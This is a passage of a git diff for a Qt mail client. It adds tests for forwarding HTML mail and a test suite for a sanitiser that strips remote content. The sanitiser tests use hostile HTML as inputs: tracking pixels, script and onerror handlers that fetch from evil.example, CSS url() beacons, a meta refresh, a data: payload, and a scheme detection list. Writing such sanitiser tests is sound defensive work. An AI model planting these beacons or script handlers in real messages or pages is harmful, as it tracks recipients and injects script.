Nothing shown is +/// editable-but-ignored, and nothing sent is unshown. The user chose this over +/// a rich-text composer (recorded as item 173, which is the real WYSIWYG +/// answer and a much larger piece of work) and over attaching the original. +void TestComposeWindow::anHtmlForwardPreviewsTheOriginalInsteadOfQuotingIt() +{ + const Config config = configWithDrafts(); + + const QString path = m_dir->path() + QStringLiteral("/original.eml"); + writeFile(path, QStringLiteral( + "From: Sender <sender@example.org>\r\n" + "To: someone@example.org\r\n" + "Subject: Quarterly report\r\n" + "Date: Wed, 26 Aug 2026 10:00:00 +0200\r\n" + "MIME-Version: 1.0\r\n" + "Content-Type: text/html; charset=utf-8\r\n" + "\r\n" + "<p>Revenue rose <b>12%</b>.</p>\r\n")); + + ComposeContext context; + context.kind = ComposeContext::Kind::Forward; + context.accountKey = QStringLiteral("work"); + context.originalPath = path; + context.subject = QStringLiteral("Fwd: Quarterly report"); + context.quotedBody = QStringLiteral( + "On Wed, sender@example.org wrote:\n\n> Revenue rose 12%."); + + ComposeWindow window(context, config, m_dir->path()); + + auto *body = window.findChild<QPlainTextEdit *>(QStringLiteral("body")); + QVERIFY(body); + + // The buffer carries the user's note only: no quote to edit in vain. + QVERIFY2(!body->toPlainText().contains(QStringLiteral("Revenue rose")), + qPrintable(QStringLiteral("the original was seeded into the " + "editable buffer:\n%1").arg(body->toPlainText()))); + + // The preview says what will be carried, and is NOT editable. + auto *preview = window.findChild<QWidget *>(QStringLiteral("forwardPreview")); + QVERIFY2(preview, "an HTML forward must show what it will carry"); + QVERIFY2(preview->isVisibleTo(&window), + "the preview must not be hidden on an HTML forward"); + + // **Beside the editor, not under it**, at the user's request 2026-08-27: + // a vertical split, editor 60 and preview 40, so the note being written + // and the message being forwarded are read side by side. + auto *split = window.findChild<QSplitter *>(QStringLiteral("composeSplit")); + QVERIFY2(split, "the preview must share a splitter with the editor"); + QCOMPARE(split->orientation(), Qt::Horizontal); + QCOMPARE(split->count(), 2); + QCOMPARE(split->widget(0), static_cast<QWidget *>(body)); + QCOMPARE(split->widget(1), preview); + + // **The ratio is asserted as STRETCH FACTORS, not as resulting pixels.** + // CLAUDE.md records that the offscreen platform cannot test window sizing: + // it prints "This plugin does not support propagateSizeHints()" and the + // splitter here has no real width to divide, so sizes() reports an equal + // 49/49 whatever the code asks for. Measured: a pixel assertion fails + // against correct code. The stretch factors are what the layout stores and + // what survives the first real resize, so they are the testable intent; + // the appearance is a hand test. + // QSplitter has no stretchFactor() getter: setStretchFactor() writes the + // value into the CHILD's size policy, which is where it can be read back. + QCOMPARE(body->sizePolicy().horizontalStretch(), 6); + QCOMPARE(preview->sizePolicy().horizontalStretch(), 4); + + // A toggle closes and reopens it. + auto *toggle = window.findChild<QAction *>(QStringLiteral("compose_show_forward")); + QVERIFY2(toggle, "there is no toggle for the forwarded-message pane"); + QVERIFY2(toggle->isCheckable(), "the pane toggle must be checkable"); + QVERIFY2(toggle->isChecked(), "the pane starts open on an HTML forward"); + + toggle->trigger(); + QVERIFY2(!preview->isVisibleTo(&window), + "unchecking the toggle must hide the forwarded-message pane"); + toggle->trigger(); + QVERIFY2(preview->isVisibleTo(&window), + "re-checking the toggle must bring the pane back"); + + // What is sent still contains the original, from the markup rather than + // from the buffer. + const OutgoingMessage message = window.currentMessage(); + QVERIFY2(message.forwardedHtml.contains(QStringLiteral("Revenue rose")), + "the forward must still carry the original"); + + // A PLAIN forward is unchanged: the quote goes in the buffer, where it is + // both editable and sent, so WYSIWYG already held there and must not be + // broken by this. + const QString plainPath = m_dir->path() + QStringLiteral("/plain.eml"); + writeFile(plainPath, QStringLiteral( + "From: Sender <sender@example.org>\r\n" + "Subject: Plain report\r\n" + "Date: Wed, 26 Aug 2026 10:00:00 +0200\r\n" + "\r\n" + "Revenue rose 12%.\r\n")); + + ComposeContext plainContext; + plainContext.kind = ComposeContext::Kind::Forward; + plainContext.accountKey = QStringLiteral("work"); + plainContext.originalPath = plainPath; + plainContext.quotedBody = QStringLiteral("> Revenue rose 12%."); + + ComposeWindow plainWindow(plainContext, config, m_dir->path()); + auto *plainBody = plainWindow.findChild<QPlainTextEdit *>(QStringLiteral("body")); + QVERIFY(plainBody); + QVERIFY2(plainBody->toPlainText().contains(QStringLiteral("Revenue rose")), + qPrintable(QStringLiteral("a plain forward lost its quote:\n%1") + .arg(plainBody->toPlainText()))); + + auto *noPreview = plainWindow.findChild<QWidget *>(QStringLiteral("forwardPreview")); + QVERIFY2(!noPreview || !noPreview->isVisibleTo(&plainWindow), + "a plain forward needs no preview: its quote is in the buffer"); + + auto *noToggle = plainWindow.findChild<QAction *>( + QStringLiteral("compose_show_forward")); + QVERIFY2(!noToggle || !noToggle->isVisible(), + "a plain forward must not offer a pane toggle that does nothing"); +} + /// The same QAction objects, shown twice over, exactly as item 140 required /// for the message pane's bar. A copy would drift: an enablement change or a /// new shortcut would reach one surface and not the other. diff --git a/tests/test_htmlsanitiser.cpp b/tests/test_htmlsanitiser.cpp new file mode 100644 index 0000000..043891b --- /dev/null +++ b/tests/test_htmlsanitiser.cpp @@ -0,0 +1,249 @@ +/* + * qtmaildir - a Qt6 mail client for notmuch-indexed Maildirs + * Copyright (C) 2026 Danilo M. <danix@danix.xyz> + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include <QtTest> +#include <QRegularExpression> + +#include "htmlsanitiser.h" + +/// Item 171's security half. +/// +/// Every test here asserts on the STRING, never on a render. A rendering probe +/// cannot see this defect by construction: a tracking pixel is a 1x1 +/// transparent image, invisible by design, so a probe that renders the output +/// and looks at it would endorse the exact thing being guarded against. +class TestHtmlSanitiser : public QObject +{ + Q_OBJECT + +private slots: + void aCidReferenceSurvives(); + void aRemoteImageIsRemoved(); + void anUnquotedRemoteUrlIsRemoved(); + void aProtocolRelativeUrlIsRemoved(); + void quotingAndCaseAndWhitespaceDoNotHelp(); + void aFetchingElementIsRemovedWhole(); + void cssUrlIsStrippedInBothPlaces(); + void anEventHandlerIsRemoved(); + void aDataUrlIsRemoved(); + void anUnknownAttributeCarryingAUrlIsRemoved(); + void aCidWhoseIdLooksLikeAUrlSurvives(); + void structuralMarkupSurvives(); + void hasRemoteContentAnswersForTheComposer(); + +private: + /// The invariant, applied to a whole output: no scheme but cid: anywhere. + /// + /// Deliberately crude and deliberately independent of the implementation's + /// own patterns. A test that reused the production regexes would agree + /// with a bug rather than catch it. + void assertNoRemoteUrls(const QString &out); +}; + +void TestHtmlSanitiser::assertNoRemoteUrls(const QString &out) +{ + const QString lowered = out.toLower(); + for (const char *needle : { "http:", "https:", "//evil", "//host", + "data:", "file:", "ftp:" }) { + QVERIFY2(!lowered.contains(QLatin1String(needle)), + qPrintable(QStringLiteral("a %1 reference survived: %2") + .arg(QLatin1String(needle), out))); + } +} + +/// The one thing that must NOT be stripped. A cid: travels inside the message +/// and fetches nothing, so an inline logo survives a forward. +void TestHtmlSanitiser::aCidReferenceSurvives() +{ + const QString out = HtmlSanitiser::stripRemoteContent( + QStringLiteral("<p>hi</p><img src=\"cid:logo@example.org\">")); + + QVERIFY2(out.contains(QStringLiteral("cid:logo@example.org")), + qPrintable(QStringLiteral("the cid was lost: ") + out)); + QVERIFY2(out.contains(QStringLiteral("<p>hi</p>")), + qPrintable(QStringLiteral("the body was lost: ") + out)); +} + +/// The reported harm, in its plainest form. +void TestHtmlSanitiser::aRemoteImageIsRemoved() +{ + const QString out = HtmlSanitiser::stripRemoteContent( + QStringLiteral("<p>hi</p><img src=\"https://evil.example/px?id=you\" " + "width=\"1\" height=\"1\">")); + + assertNoRemoteUrls(out); + QVERIFY2(out.contains(QStringLiteral("<p>hi</p>")), + qPrintable(QStringLiteral("the body was lost: ") + out)); +} + +/// `<img src=cid:x>` is valid HTML and unquoted references are seen in the +/// wild; namespaceCids() documents the same. An implementation that only +/// handles quoted values passes every tidy test and leaks on real mail. +void TestHtmlSanitiser::anUnquotedRemoteUrlIsRemoved() +{ + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent( + QStringLiteral("<img src=https://evil.example/px>"))); +} + +/// No scheme at all, and it still fetches: the recipient's client supplies +/// whichever scheme it rendered the message under. A check for "http" misses +/// this entirely. +void TestHtmlSanitiser::aProtocolRelativeUrlIsRemoved() +{ + const QString out = HtmlSanitiser::stripRemoteContent( + QStringLiteral("<img src=\"//evil.example/px\">")); + + QVERIFY2(!out.contains(QStringLiteral("//evil.example")), + qPrintable(QStringLiteral("a protocol-relative URL survived: ") + + out)); +} + +/// Uppercase tags, single quotes, and newlines around '=' are all real. Each +/// one alone defeats a naive pattern. +void TestHtmlSanitiser::quotingAndCaseAndWhitespaceDoNotHelp() +{ + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent( + QStringLiteral("<IMG SRC = 'https://evil.example/a'>"))); + + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent( + QStringLiteral("<img\n src\n =\n \"https://evil.example/b\">"))); + + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent( + QStringLiteral("<img SrC=\"HTTPS://EVIL.EXAMPLE/c\">"))); +} + +/// These elements exist to fetch or redirect. Emptying the attribute is not +/// enough for <script>, whose CONTENT is the payload. +void TestHtmlSanitiser::aFetchingElementIsRemovedWhole() +{ + const QString out = HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<p>keep</p>" + "<link rel=\"stylesheet\" href=\"https://evil.example/s.css\">" + "<script>fetch('https://evil.example/beacon')</script>" + "<iframe src=\"https://evil.example/f\"></iframe>" + "<base href=\"https://evil.example/\">" + "<meta http-equiv=\"refresh\" content=\"0;url=https://evil.example/\">")); + + assertNoRemoteUrls(out); + QVERIFY2(!out.toLower().contains(QStringLiteral("<script")), + qPrintable(QStringLiteral("a script element survived: ") + out)); + QVERIFY2(!out.toLower().contains(QStringLiteral("<iframe")), + qPrintable(QStringLiteral("an iframe survived: ") + out)); + QVERIFY2(out.contains(QStringLiteral("<p>keep</p>")), + qPrintable(QStringLiteral("the body was lost: ") + out)); +} + +/// CSS fetches too, and it reaches the same network from two different places +/// with different terminator rules. namespaceCids() handles both for the same +/// reason. +void TestHtmlSanitiser::cssUrlIsStrippedInBothPlaces() +{ + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<div style=\"background:url(https://evil.example/bg.png)\">x</div>"))); + + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<style>@import url('https://evil.example/s.css');" + "p{background:url(https://evil.example/b.png)}</style>"))); + + // The bare form terminates on ')', not on a quote. + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<div style='background:url(//evil.example/bg.png)'>x</div>"))); +} + +/// The recipient's client most likely disables scripting. That is their +/// policy, not ours to assume on their behalf. +void TestHtmlSanitiser::anEventHandlerIsRemoved() +{ + const QString out = HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<img src=\"cid:x\" onerror=\"fetch('https://evil.example/b')\">")); + + assertNoRemoteUrls(out); + QVERIFY2(!out.toLower().contains(QStringLiteral("onerror")), + qPrintable(QStringLiteral("an event handler survived: ") + out)); +} + +/// A data: URL carries its payload inline, so it does not fetch, but it CAN +/// carry markup and is a standard sanitiser bypass. Removed on the allow-list +/// rule: it is not cid:, so it goes. +void TestHtmlSanitiser::aDataUrlIsRemoved() +{ + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<img src=\"data:text/html;base64,PHNjcmlwdD4=\">"))); +} + +/// **The allow-list's whole point.** `namespaceCids()` enumerates the +/// attributes it rewrites and scopes srcset out; doing that here would leak. +/// An attribute nobody anticipated must be handled by the DEFAULT. +void TestHtmlSanitiser::anUnknownAttributeCarryingAUrlIsRemoved() +{ + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<img srcset=\"https://evil.example/1x.png 1x, " + "https://evil.example/2x.png 2x\">"))); + + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<div data-bg=\"https://evil.example/x.png\">x</div>"))); + + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<video poster=\"https://evil.example/p.jpg\"></video>"))); +} + +/// A cid: id may legitimately contain something URL-shaped. Stripping on a +/// substring match rather than on the SCHEME would destroy a valid reference. +void TestHtmlSanitiser::aCidWhoseIdLooksLikeAUrlSurvives() +{ + const QString out = HtmlSanitiser::stripRemoteContent( + QStringLiteral("<img src=\"cid:https-logo@example.org\">")); + + QVERIFY2(out.contains(QStringLiteral("cid:https-logo@example.org")), + qPrintable(QStringLiteral("a valid cid was destroyed: ") + out)); +} + +/// The formatting is the entire point of the feature. A sanitiser that keeps +/// the user safe by emptying the message has not solved item 171. +void TestHtmlSanitiser::structuralMarkupSurvives() +{ + const QString out = HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<table><tr><td style=\"color:#c00;font-weight:bold\">Revenue</td>" + "<td>up 12%</td></tr></table><ul><li>Region A</li></ul>")); + + QVERIFY2(out.contains(QStringLiteral("<table")), + qPrintable(QStringLiteral("the table was lost: ") + out)); + QVERIFY2(out.contains(QStringLiteral("Revenue")), + qPrintable(QStringLiteral("the text was lost: ") + out)); + QVERIFY2(out.contains(QStringLiteral("font-weight:bold")), + qPrintable(QStringLiteral("safe styling was lost: ") + out)); + QVERIFY2(out.contains(QStringLiteral("<li>Region A</li>")), + qPrintable(QStringLiteral("the list was lost: ") + out)); +} + +/// Drives whether the composer offers the checkbox at all. It must never +/// decide whether to strip. +void TestHtmlSanitiser::hasRemoteContentAnswersForTheComposer() +{ + QVERIFY(HtmlSanitiser::hasRemoteContent( + QStringLiteral("<img src=\"https://evil.example/px\">"))); + QVERIFY(HtmlSanitiser::hasRemoteContent( + QStringLiteral("<div style=\"background:url(//evil.example/b)\">x</div>"))); + + QVERIFY(!HtmlSanitiser::hasRemoteContent( + QStringLiteral("<p>plain</p><img src=\"cid:logo@example.org\">"))); + QVERIFY(!HtmlSanitiser::hasRemoteContent(QStringLiteral("<p>plain</p>"))); +} + +QTEST_MAIN(TestHtmlSanitiser) +#include "test_htmlsanitiser.moc" diff --git a/tests/test_mainwindow.cpp b/tests/test_mainwindow.cpp index 2fbdb20..08589b2 100644 --- a/tests/test_mainwindow.cpp +++ b/tests/test_mainwindow.cpp @@ -12955,15 +12955,23 @@ void TestMainWindow::theComposerSplitsItsToolbarByScope() auto *column = qobject_cast<QVBoxLayout *>(central->layout()); QVERIFY2(column, "the composer is not laid out in a vertical column"); - int barIndex = -1; - int bodyIndex = -1; - for (int i = 0; i < column->count(); ++i) { - QLayoutItem *item = column->itemAt(i); - if (item->widget() == editorBar) - barIndex = i; - else if (item->widget() == body) - bodyIndex = i; - } + // The editor sits inside a QSplitter since item 171, so its position in + // the column is the SPLITTER's: a forward puts the forwarded message + // beside the editor, and the toolbar must stay above both. Walking up to + // whichever child of the column contains the body keeps this test about + // the toolbar's position rather than about the editor's parentage. + const auto columnChildOf = [column](QWidget *widget) { + for (QWidget *w = widget; w; w = w->parentWidget()) { + for (int i = 0; i < column->count(); ++i) { + if (column->itemAt(i)->widget() == w) + return i; + } + } + return -1; + }; + + const int barIndex = columnChildOf(editorBar); + const int bodyIndex = columnChildOf(body); QVERIFY2(barIndex >= 0 && bodyIndex >= 0, "the editor bar or the body is not in the composer's column"); QVERIFY2(barIndex < bodyIndex, "the editor bar is not above the editor"); diff --git a/tests/test_messagebuilder.cpp b/tests/test_messagebuilder.cpp index 73d388c..2ea14f0 100644 --- a/tests/test_messagebuilder.cpp +++ b/tests/test_messagebuilder.cpp @@ -29,6 +29,7 @@ #include "config.h" #include "messagebuilder.h" +#include "mimeparser.h" #include "types.h" /// MessageBuilder's tests assert on the GENERATED BYTES, never by round-tripping @@ -55,6 +56,7 @@ private slots: void aDirectoryAttachmentFailsRatherThanHangingTheProcess(); void anUnparseableRecipientFailsRatherThanVanishing(); void everyMessageCarriesADateAndMessageId(); + void aForwardSendsOnePartChosenByTheHtmlToggle(); void recipientsAppearInTheirOwnHeaders(); void anAccountWithNoAddressFailsRatherThanBuildingHeaderlessMail(); @@ -462,5 +464,103 @@ void TestMessageBuilder::anAccountWithNoAddressFailsRatherThanBuildingHeaderless QVERIFY(r.bytes.isEmpty()); } +/// Item 171. A forward sends ONE part, chosen by the Send-as-HTML toggle: +/// the original's markup when it is on, the text quote when it is off. +/// +/// **No multipart/alternative on a forward**, at the user's decision +/// 2026-08-27, reversing the first build. A forward is a message the user has +/// already decided the shape of by flipping that toggle, and sending both +/// halves means the recipient's client picks, which is the choice being taken +/// away from them. +/// +/// The toggle is honoured even when the original has no plain-text part: with +/// it off, an HTML-only original forwards as the text fallback and the +/// formatting is lost. That is the toggle meaning what it says, chosen over +/// forcing HTML for those messages. +/// +/// `forwardedHtml` arrives ALREADY SANITISED: whether to strip remote content +/// is the user's per-forward choice and a builder cannot see a checkbox. The +/// security property is asserted in test_htmlsanitiser; what matters here is +/// that the right single part goes out. +void TestMessageBuilder::aForwardSendsOnePartChosenByTheHtmlToggle() +{ + OutgoingMessage m = baseMessage(); + m.sendHtml = true; + // As the composer really supplies it: on an HTML forward the buffer holds + // the user's own note ALONE, the original travelling as markup instead, so + // that what the composer shows is what gets sent (item 171). + m.markdownBody = QStringLiteral("Passing this on."); + m.forwardedHtml = QStringLiteral("<p>Revenue rose <b>12%</b>.</p>"); + + const MessageBuilder::Result r = MessageBuilder::build(m, m_account); + QVERIFY2(r.ok(), qPrintable(r.error)); + + const QString text = QString::fromUtf8(r.bytes); + + // ONE part, not an alternative. + QVERIFY2(!text.contains(QStringLiteral("multipart/alternative")), + qPrintable(QStringLiteral("a forward must not send both halves:\n%1") + .arg(text))); + QVERIFY2(text.contains(QStringLiteral("text/html")), + qPrintable(QStringLiteral("no html part:\n%1").arg(text))); + QVERIFY2(!text.contains(QStringLiteral("text/plain")), + qPrintable(QStringLiteral("a plain part went out too:\n%1").arg(text))); + + QVERIFY2(text.contains(QStringLiteral("Revenue rose")), + qPrintable(QStringLiteral("the forwarded body is missing:\n%1").arg(text))); + QVERIFY2(text.contains(QStringLiteral("Passing this on")), + qPrintable(QStringLiteral("the user's own text was lost:\n%1").arg(text))); + + // **The original must appear ONCE.** The composer seeds the text quote + // into the editable body so the user can trim it, so `markdownBody` + // already carries a flattened copy of the original; rendering that AND + // appending the markup shipped the whole message twice, the first copy + // with its URLs naked and mangled. Found by hand-testing on 2026-08-27 + // against a real newsletter, where it read as two messages stacked. + QVERIFY2(!text.contains(QStringLiteral("<blockquote>")), + qPrintable(QStringLiteral("the text quote was rendered into the " + "html as well as the markup:\n%1").arg(text))); + QCOMPARE(text.count(QStringLiteral("Revenue rose")), 1); + + // **The structure is right**, checked by parsing back rather than by + // reading the RFC: MimeParser is what the application itself uses. + QTemporaryDir dir; + QVERIFY(dir.isValid()); + const QString path = dir.path() + QStringLiteral("/forward.eml"); + QFile out(path); + QVERIFY(out.open(QIODevice::WriteOnly)); + out.write(r.bytes); + out.close(); + + MimeParser parser; + const ParsedMessage parsed = parser.parse(path); + QVERIFY2(parsed.ok, "the built forward does not parse back"); + QVERIFY2(parsed.htmlBody.contains(QStringLiteral("Revenue rose")), + qPrintable(QStringLiteral("the forwarded markup is not in the html " + "part on the way back:\n%1").arg(parsed.htmlBody))); + + // Toggle OFF: the plain quote alone, and the markup must not leak into it. + OutgoingMessage plainForward = baseMessage(); + plainForward.sendHtml = false; + plainForward.markdownBody = QStringLiteral("Passing this on.\n\n> Revenue rose 12%."); + plainForward.forwardedHtml = QStringLiteral("<p>Revenue rose <b>12%</b>.</p>"); + + const MessageBuilder::Result r2 = MessageBuilder::build(plainForward, m_account); + QVERIFY2(r2.ok(), qPrintable(r2.error)); + const QString text2 = QString::fromUtf8(r2.bytes); + + QVERIFY2(!text2.contains(QStringLiteral("multipart/alternative")), + qPrintable(QStringLiteral("a plain forward must be one part:\n%1") + .arg(text2))); + QVERIFY2(!text2.contains(QStringLiteral("text/html")), + qPrintable(QStringLiteral("html went out with the toggle off:\n%1") + .arg(text2))); + QVERIFY2(!text2.contains(QStringLiteral("<b>")), + qPrintable(QStringLiteral("markup leaked into a plain forward:\n%1") + .arg(text2))); + QVERIFY2(text2.contains(QStringLiteral("Passing this on")), + qPrintable(QStringLiteral("the user's own text was lost:\n%1").arg(text2))); +} + QTEST_MAIN(TestMessageBuilder) #include "test_messagebuilder.moc" diff --git a/translations/qtmaildir_it_IT.ts b/translations/qtmaildir_it_IT.ts index 85b978f..040af5c 100644 --- a/translations/qtmaildir_it_IT.ts +++ b/translations/qtmaildir_it_IT.ts @@ -8,6 +8,26 @@ <translation>Componi[*]</translation> </message> <message> + <source>Forwarded message, sent as it arrived:</source> + <translation>Messaggio inoltrato, inviato come è arrivato:</translation> + </message> + <message> + <source>Forwarded message</source> + <translation>Messaggio inoltrato</translation> + </message> + <message> + <source>Shows the message being forwarded beside what you are writing.</source> + <translation>Mostra il messaggio che stai inoltrando accanto a quello che stai scrivendo.</translation> + </message> + <message> + <source>Strip remote content from the forwarded message</source> + <translation>Rimuovi i contenuti remoti dal messaggio inoltrato</translation> + </message> + <message> + <source>Images and styles loaded from the internet are removed, so the sender of the original cannot tell that you forwarded it. Uncheck only for a sender you trust.</source> + <translation>Le immagini e gli stili caricati da internet vengono rimossi, così il mittente dell'originale non può sapere che lo hai inoltrato. Togli la spunta solo per un mittente di cui ti fidi.</translation> + </message> + <message> <source>The forwarded attachments could not be extracted.</source> <translation>Non è stato possibile estrarre gli allegati inoltrati.</translation> </message> @@ -1629,11 +1649,11 @@ Il messaggio È stato inviato. Non inviarlo di nuovo.</translation> </message> <message> <source>Changes made here that a sync has not yet carried to the mail store. This list is a snapshot taken when it was opened.</source> - <translation>Modifiche fatte qui che una sincronizzazione non ha ancora portato all'archivio di posta. Questo elenco è un'istantanea presa al momento dell'apertura.</translation> + <translation>Modifiche fatte qui che una sincronizzazione non ha ancora portato all'archivio di posta. Questo elenco è un'istantanea presa al momento dell'apertura.</translation> </message> <message> <source>(no longer in the index)</source> - <translation>(non più nell'indice)</translation> + <translation>(non più nell'indice)</translation> </message> <message numerus="yes"> <source>%1 (whole thread, %n message(s))</source> @@ -1644,7 +1664,7 @@ Il messaggio È stato inviato. Non inviarlo di nuovo.</translation> </message> <message> <source>Nothing is waiting to be synced.</source> - <translation>Non c'è nulla in attesa di sincronizzazione.</translation> + <translation>Non c'è nulla in attesa di sincronizzazione.</translation> </message> </context> <context> |